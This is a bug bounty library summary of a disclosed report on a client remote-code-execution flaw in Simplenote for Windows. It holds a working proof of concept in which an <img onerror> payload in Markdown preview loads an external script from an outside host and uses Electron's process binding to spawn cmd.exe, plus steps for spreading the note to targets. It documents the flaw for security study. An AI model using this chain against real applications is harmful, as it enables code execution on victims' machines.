# [Simplenote for Windows] Client RCE via External JavaScript Inclusion leveraging Electron

Markdown preview in Simplenote for Windows rendered raw HTML, so an <img onerror> payload executed JS in Electron and spawned cmd.exe for RCE.

- Payout: hidden
- Severity: high
- Program: Automattic
- Found by: ysx
- Disclosed: 2017-12-01
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/291539
- Library page: https://bugbountylibrary.com/r/h1%3A291539
- Tags: area:os domain:desktop impact:rce kind:bounty platform:hackerone sev:high tech:electron technique:chained vuln:rce vuln:xss

**Target:** Simplenote for Windows desktop client (Electron) Markdown preview
**Root cause:** The Markdown preview rendered unsanitized HTML, allowing inline event handlers like onerror to execute JavaScript inside the Electron renderer, which had Node integration enabled exposing process.binding.
**Steps:**
1. Host `hackerone-electron.js` on attacker server containing `var Process = process.binding('process_wrap').Process;` and `proc.spawn({file:'cmd.exe',args:['/k netplwiz'],...})`
2. Encode the loader `var js = document.createElement('script'); js.type = 'text/javascript'; js.src = 'http://ysx.bz/hackerone-electron.js'; document.body.appendChild(js);` via String.fromCharCode
3. Create Markdown note containing `<img src=x onerror=eval(String.fromCharCode(...))>`
4. Share note via tag system containing email addresses to distribute to targets
5. Target selects Preview; JS executes and cmd.exe / netplwiz launches
**How found:** Researcher recognized that Simplenote's Markdown preview rendered raw HTML and that the Electron client exposed Node APIs to the renderer, hypothesizing that an inline event handler could bridge DOM XSS to process spawning.
**Exploitation:** Attacker distributes a crafted Markdown note (via the email-tag sharing system) to targets; when the victim clicks Preview, the onerror handler runs, loads an external script from the attacker server, and uses Electron's exposed process.binding('process_wrap') to spawn cmd.exe, achieving arbitrary code execution on Windows (and reverse shell on Linux).
**Escalation:** Chained HTML injection in Markdown preview with Electron Node integration to escalate XSS to native OS command execution; distribution scaled via the tag/email sharing mechanism.
**Insight:** In Electron apps, check whether Markdown/HTML preview surfaces render raw HTML and whether the renderer has Node integration (process.binding, require) — an inline onerror handler is enough to pivot DOM XSS to OS command execution.

## Proof of concept (copied exactly from the original report)

**External JS spawning cmd.exe netplwiz**

```
write("<h1>Simplenote RCE via Electron - Windows - ysx</h1>");
write("<h3>Proof of concept in progress: popping <pre>netplwiz</pre>. Please stand by!</h3>");
var Process = process.binding('process_wrap').Process;
var proc = new Process();
proc.onexit = function(a,b) {};
var env = process.env;
var env_ = [];
for (var key in env) env_.push(key+'='+env[key]);
proc.spawn({file:'cmd.exe',args:['/k netplwiz'],cwd:null,windowsVerbatimArguments:false,detached:false,envPairs:env_,stdio:[{type:'ignore'},{type:'ignore'},{type:'ignore'}]});
```

**Script injection payload before encoding**

```
var js = document.createElement('script'); js.type = 'text/javascript'; js.src = 'http://ysx.bz/hackerone-electron.js'; document.body.appendChild(js);
```